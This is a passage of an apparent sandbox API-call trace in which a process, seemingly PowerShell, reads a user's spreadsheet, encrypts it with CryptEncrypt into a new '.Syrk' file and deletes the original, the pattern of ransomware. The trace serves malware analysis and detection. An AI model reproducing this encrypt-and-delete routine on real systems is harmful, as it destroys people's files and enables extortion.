lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\9bDYANhq-V\\j_XC70WdA-Y.xlsx", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x48 [0222.944] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\9bDYANhq-V\\j_XC70WdA-Y.xlsx", nBufferLength=0x48, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\9bDYANhq-V\\j_XC70WdA-Y.xlsx", lpFilePart=0x0) returned 0x47 [0222.944] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e070) returned 1 [0222.945] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\9bDYANhq-V\\j_XC70WdA-Y.xlsx" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\qjecmq\\9bdyanhq-v\\j_xc70wda-y.xlsx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x454 [0222.945] GetFileType (hFile=0x454) returned 0x1 [0222.945] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e06c) returned 1 [0222.945] GetFileType (hFile=0x454) returned 0x1 [0222.945] EtwEventActivityIdControl () returned 0x0 [0222.945] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0222.945] EtwEventActivityIdControl () returned 0x0 [0222.946] EtwEventActivityIdControl () returned 0x0 [0222.946] EtwEventActivityIdControl () returned 0x0 [0222.946] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\9bDYANhq-V\\j_XC70WdA-Y.xlsx.Syrk", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4d [0222.947] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\9bDYANhq-V\\j_XC70WdA-Y.xlsx.Syrk", nBufferLength=0x4d, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\9bDYANhq-V\\j_XC70WdA-Y.xlsx.Syrk", lpFilePart=0x0) returned 0x4c [0222.947] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e070) returned 1 [0222.947] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\9bDYANhq-V\\j_XC70WdA-Y.xlsx.Syrk" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\qjecmq\\9bdyanhq-v\\j_xc70wda-y.xlsx.syrk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x458 [0222.948] GetFileType (hFile=0x458) returned 0x1 [0222.948] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e06c) returned 1 [0222.948] GetFileType (hFile=0x458) returned 0x1 [0222.948] EtwEventActivityIdControl () returned 0x0 [0222.948] CryptGenRandom (in: hProv=0x5c4cdd0, dwLen=0x10, pbBuffer=0x240a550 | out: pbBuffer=0x240a550) returned 1 [0222.949] CryptContextAddRef (hProv=0x5c4cdd0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0222.949] CryptDuplicateKey (in: hKey=0x5c69140, pdwReserved=0x0, dwFlags=0x0, phKey=0x5a2e7c8 | out: phKey=0x5a2e7c8*=0x5c694c0) returned 1 [0222.949] CryptContextAddRef (hProv=0x5c4cdd0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0222.949] CryptSetKeyParam (hKey=0x5c694c0, dwParam=0x4, pbData=0x240b87c*=0x1, dwFlags=0x0) returned 1 [0222.950] CryptSetKeyParam (hKey=0x5c694c0, dwParam=0x1, pbData=0x240b848, dwFlags=0x0) returned 1 [0222.950] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0222.950] EtwEventActivityIdControl () returned 0x0 [0222.950] EtwEventActivityIdControl () returned 0x0 [0222.950] EtwEventActivityIdControl () returned 0x0 [0222.951] EtwEventActivityIdControl () returned 0x0 [0222.952] ReadFile (in: hFile=0x454, lpBuffer=0x240e4c4, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2e7d8, lpOverlapped=0x0 | out: lpBuffer=0x240e4c4*, lpNumberOfBytesRead=0x5a2e7d8*=0x99f3, lpOverlapped=0x0) returned 1 [0222.954] CryptEncrypt (in: hKey=0x5c694c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x24224dc*, pdwDataLen=0x5a2e7cc*=0x99f0, dwBufLen=0x99f0 | out: pbData=0x24224dc*, pdwDataLen=0x5a2e7cc*=0x99f0) returned 1 [0222.955] WriteFile (in: hFile=0x458, lpBuffer=0x240a62c*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x5a2e7b0, lpOverlapped=0x0 | out: lpBuffer=0x240a62c*, lpNumberOfBytesWritten=0x5a2e7b0*=0x1000, lpOverlapped=0x0) returned 1 [0223.031] WriteFile (in: hFile=0x458, lpBuffer=0x24234c8*, nNumberOfBytesToWrite=0x8a04, lpNumberOfBytesWritten=0x5a2e7b0, lpOverlapped=0x0 | out: lpBuffer=0x24234c8*, lpNumberOfBytesWritten=0x5a2e7b0*=0x8a04, lpOverlapped=0x0) returned 1 [0223.032] ReadFile (in: hFile=0x454, lpBuffer=0x240e4c4, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2e7d8, lpOverlapped=0x0 | out: lpBuffer=0x240e4c4*, lpNumberOfBytesRead=0x5a2e7d8*=0x0, lpOverlapped=0x0) returned 1 [0223.032] CryptEncrypt (in: hKey=0x5c694c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x242bed8*, pdwDataLen=0x5a2e820*=0x10, dwBufLen=0x10 | out: pbData=0x242bed8*, pdwDataLen=0x5a2e820*=0x10) returned 1 [0223.032] CryptEncrypt (in: hKey=0x5c694c0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x242bef4*, pdwDataLen=0x5a2e828*=0x0, dwBufLen=0x10 | out: pbData=0x242bef4*, pdwDataLen=0x5a2e828*=0x10) returned 1 [0223.032] WriteFile (in: hFile=0x458, lpBuffer=0x240a62c*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x5a2e7f8, lpOverlapped=0x0 | out: lpBuffer=0x240a62c*, lpNumberOfBytesWritten=0x5a2e7f8*=0x10, lpOverlapped=0x0) returned 1 [0223.032] CloseHandle (hObject=0x458) returned 1 [0223.034] CloseHandle (hObject=0x454) returned 1 [0223.035] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0223.035] EtwEventActivityIdControl () returned 0x0 [0223.035] EtwEventActivityIdControl () returned 0x0 [0223.035] EtwEventActivityIdControl () returned 0x0 [0223.041] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\9bDYANhq-V\\j_XC70WdA-Y.xlsx" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\qjecmq\\9bdyanhq-v\\j_xc70wda-y.xlsx")) returned 0x20 [0223.043] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\9bDYANhq-V\\j_XC70WdA-Y.xlsx", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x48 [0223.044] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\9bDYANhq-V\\j_XC70WdA-Y.xlsx", nBufferLength=0x48, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\9bDYANhq-V\\j_XC70WdA-Y.xlsx", lpFilePart=0x0) returned 0x47 [0223.044] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0223.044] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0223.044] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4 [0223.044] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x4, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0223.044] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0223.045] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0223.045] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x9 [0223.045] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x9, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0223.045] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj" (normalized: "c:\\users\\keecfmwgj")) returned 0x10 [0223.045] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj" (normalized: "c:\\users\\keecfmwgj")) returned 0x10 [0223.045] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x13 [0223.045] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x13, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj", lpFilePart=0x0) returned 0x12 [0223.045] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents" (normalized: "c:\\users\\keecfmwgj\\documents")) returned 0x11 [0223.045] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents" (normalized: "c:\\users\\keecfmwgj\\documents")) returned 0x11 [0223.045] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x1d [0223.046] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents", nBufferLength=0x1d, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents", lpFilePart=0x0) returned 0x1c [0223.046] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30")) returned 0x10 [0223.046] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30")) returned 0x10 [0223.046] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x25 [0223.046] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30", nBufferLength=0x25, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\gADgp30", lpFilePart=0x0) returned 0x24 [0223.046] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\qjecmq")) returned 0x10 [0223.046] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\qjecmq")) returned 0x10 [0223.046] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2c [0223.046] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ", nBufferLength=0x2c, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ", lpFilePart=0x0) returned 0x2b [0223.046] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\9bDYANhq-V" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\qjecmq\\9bdyanhq-v")) returned 0x10 [0223.046] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\9bDYANhq-V" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\qjecmq\\9bdyanhq-v")) returned 0x10 [0223.047] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\9bDYANhq-V", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x37 [0223.047] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\9bDYANhq-V", nBufferLength=0x37, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\9bDYANhq-V", lpFilePart=0x0) returned 0x36 [0223.047] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\9bDYANhq-V\\j_XC70WdA-Y.xlsx" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\qjecmq\\9bdyanhq-v\\j_xc70wda-y.xlsx")) returned 0x20 [0223.047] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\9bDYANhq-V\\j_XC70WdA-Y.xlsx", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x48 [0223.047] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\9bDYANhq-V\\j_XC70WdA-Y.xlsx", nBufferLength=0x48, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\9bDYANhq-V\\j_XC70WdA-Y.xlsx", lpFilePart=0x0) returned 0x47 [0223.050] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\9bDYANhq-V\\j_XC70WdA-Y.xlsx", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x48 [0223.050] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\9bDYANhq-V\\j_XC70WdA-Y.xlsx", nBufferLength=0x48, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\9bDYANhq-V\\j_XC70WdA-Y.xlsx", lpFilePart=0x0) returned 0x47 [0223.050] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e56c) returned 1 [0223.050] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\9bDYANhq-V\\j_XC70WdA-Y.xlsx", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x48 [0223.050] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\9bDYANhq-V\\j_XC70WdA-Y.xlsx", nBufferLength=0x48, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\9bDYANhq-V\\j_XC70WdA-Y.xlsx", lpFilePart=0x0) returned 0x47 [0223.051] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\9bDYANhq-V\\j_XC70WdA-Y.xlsx\\*" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\qjecmq\\9bdyanhq-v\\j_xc70wda-y.xlsx\\*"), lpFindFileData=0x5a2e31c | out: lpFindFileData=0x5a2e31c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0223.051] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e2dc) returned 1 [0223.051] CoTaskMemAlloc (cb=0x404) returned 0x5c99488 [0223.051] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x10b, dwLanguageId=0x0, lpBuffer=0x5c99488, nSize=0x200, Arguments=0x0 | out: lpBuffer="The directory name is invalid.\r\n") returned 0x20 [0223.051] CoTaskMemFree (pv=0x5c99488) [0223.053] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\9bDYANhq-V\\j_XC70WdA-Y.xlsx" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\qjecmq\\9bdyanhq-v\\j_xc70wda-y.xlsx")) returned 0x20 [0223.053] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\9bDYANhq-V\\j_XC70WdA-Y.xlsx", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x48 [0223.053] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\9bDYANhq-V\\j_XC70WdA-Y.xlsx", nBufferLength=0x48, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\9bDYANhq-V\\j_XC70WdA-Y.xlsx", lpFilePart=0x0) returned 0x47 [0223.053] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e234) returned 1 [0223.053] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\9bDYANhq-V\\j_XC70WdA-Y.xlsx" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\qjecmq\\9bdyanhq-v\\j_xc70wda-y.xlsx"), fInfoLevelId=0x0, lpFileInformation=0x243c330 | out: lpFileInformation=0x243c330*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2ffa50, ftCreationTime.dwHighDateTime=0x1d994e5, ftLastAccessTime.dwLowDateTime=0xfd2aede0, ftLastAccessTime.dwHighDateTime=0x1d99976, ftLastWriteTime.dwLowDateTime=0xfd2aede0, ftLastWriteTime.dwHighDateTime=0x1d99976, nFileSizeHigh=0x0, nFileSizeLow=0x99f3)) returned 1 [0223.053] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e230) returned 1 [0223.053] DeleteFileW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\9bDYANhq-V\\j_XC70WdA-Y.xlsx" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\qjecmq\\9bdyanhq-v\\j_xc70wda-y.xlsx")) returned 1 [0223.055] EtwEventActivityIdControl () returned 0x0 [0223.056] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0223.056] EtwEventActivityIdControl () returned 0x0 [0223.056] EtwEventActivityIdControl () returned 0x0 [0223.056] EtwEventActivityIdControl () returned 0x0 [0223.064] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\9bDYANhq-V\\j_XC70WdA-Y.xlsx.Syrk" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\qjecmq\\9bdyanhq-v\\j_xc70wda-y.xlsx.syrk")) returned 0x20 [0223.116] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\9bDYANhq-V\\j_XC70WdA-Y.xlsx.Syrk" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\qjecmq\\9bdyanhq-v\\j_xc70wda-y.xlsx.syrk")) returned 0x20 [0223.117] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\9bDYANhq-V\\j_XC70WdA-Y.xlsx.Syrk", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4d [0223.117] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\9bDYANhq-V\\j_XC70WdA-Y.xlsx.Syrk", nBufferLength=0x4d, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\9bDYANhq-V\\j_XC70WdA-Y.xlsx.Syrk", lpFilePart=0x0) returned 0x4c [0223.118] EtwEventActivityIdControl () returned 0x0 [0223.119] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0223.120] EtwEventActivityIdControl () returned 0x0 [0223.120] EtwEventActivityIdControl () returned 0x0 [0223.120] EtwEventActivityIdControl () returned 0x0 [0223.125] EtwEventActivityIdControl () returned 0x0 [0223.126] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0223.126] EtwEventActivityIdControl () returned 0x0 [0223.126] EtwEventActivityIdControl () returned 0x0 [0223.126] EtwEventActivityIdControl () returned 0x0 [0223.132] EtwEventActivityIdControl () returned 0x0 [0223.132] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0223.133] EtwEventActivityIdControl () returned 0x0 [0223.133] EtwEventActivityIdControl () returned 0x0 [0223.133] EtwEventActivityIdControl () returned 0x0 [0223.137] EtwEventActivityIdControl () returned 0x0 [0223.137] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0223.138] EtwEventActivityIdControl () returned 0x0 [0223.138] EtwEventActivityIdControl () returned 0x0 [0223.138] EtwEventActivityIdControl () returned 0x0 [0223.143] EtwEventActivityIdControl () returned 0x0 [0223.144] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0223.144] EtwEventActivityIdControl () returned 0x0 [0223.144] EtwEventActivityIdControl () returned 0x0 [0223.144] EtwEventActivityIdControl () returned 0x0 [0223.150] EtwEventActivityIdControl () returned 0x0 [0223.157] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2dca4) returned 1 [0223.157] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\9bDYANhq-V\\j_XC70WdA-Y.xlsx.Syrk" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\qjecmq\\9bdyanhq-v\\j_xc70wda-y.xlsx.syrk"), fInfoLevelId=0x0, lpFileInformation=0x244a1d0 | out: lpFileInformation=0x244a1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1022a90, ftCreationTime.dwHighDateTime=0x1da3860, ftLastAccessTime.dwLowDateTime=0x1022a90, ftLastAccessTime.dwHighDateTime=0x1da3860, ftLastWriteTime.dwLowDateTime=0x11072d0, ftLastWriteTime.dwHighDateTime=0x1da3860, nFileSizeHigh=0x0, nFileSizeLow=0x9a14)) returned 1 [0223.158] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2dca0) returned 1 [0223.206] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e59c | out: lpConsoleScreenBufferInfo=0x5a2e59c) returned 1 [0223.207] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e594 | out: lpMode=0x5a2e594) returned 1 [0223.207] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x22fe2f4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e588, lpReserved=0x0 | out: lpBuffer=0x22fe2f4*, lpNumberOfCharsWritten=0x5a2e588*=0x2) returned 1 [0223.209] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e540 | out: lpConsoleScreenBufferInfo=0x5a2e540) returned 1 [0223.209] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e594 | out: lpConsoleScreenBufferInfo=0x5a2e594) returned 1 [0223.210] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e58c | out: lpMode=0x5a2e58c) returned 1 [0223.210] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x22fe2f4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e580, lpReserved=0x0 | out: lpBuffer=0x22fe2f4*, lpNumberOfCharsWritten=0x5a2e580*=0x2) returned 1 [0223.211] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e5a4 | out: lpConsoleScreenBufferInfo=0x5a2e5a4) returned 1 [0223.211] GetConsoleOutputCP () returned 0x1b5 [0223.211] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e314, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e314) returned 0 [0223.211] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e3f4 | out: lpConsoleScreenBufferInfo=0x5a2e3f4) returned 1 [0223.212] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e3ec | out: lpMode=0x5a2e3ec) returned 1 [0223.212] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x2464854*, nNumberOfCharsToWrite=0x45, lpNumberOfCharsWritten=0x5a2e3e0, lpReserved=0x0 | out: lpBuffer=0x2464854*, lpNumberOfCharsWritten=0x5a2e3e0*=0x45) returned 1 [0223.212] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e3ec | out: lpMode=0x5a2e3ec) returned 1 [0223.213] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x22fe2f4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e3e0, lpReserved=0x0 | out: lpBuffer=0x22fe2f4*, lpNumberOfCharsWritten=0x5a2e3e0*=0x2) returned 1 [0223.214] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e4fc | out: lpConsoleScreenBufferInfo=0x5a2e4fc) returned 1 [0223.214] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e4f4 | out: lpMode=0x5a2e4f4) returned 1 [0223.214] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x22fe2f4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e4e8, lpReserved=0x0 | out: lpBuffer=0x22fe2f4*, lpNumberOfCharsWritten=0x5a2e4e8*=0x2) returned 1 [0223.215] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e594 | out: lpConsoleScreenBufferInfo=0x5a2e594) returned 1 [0223.215] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e58c | out: lpMode=0x5a2e58c) returned 1 [0223.215] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x22fe2f4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e580, lpReserved=0x0 | out: lpBuffer=0x22fe2f4*, lpNumberOfCharsWritten=0x5a2e580*=0x2) returned 1 [0223.216] GetConsoleOutputCP () returned 0x1b5 [0223.216] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3a4, dwFlags=0x2 | out: lpSrc=0x1b5, 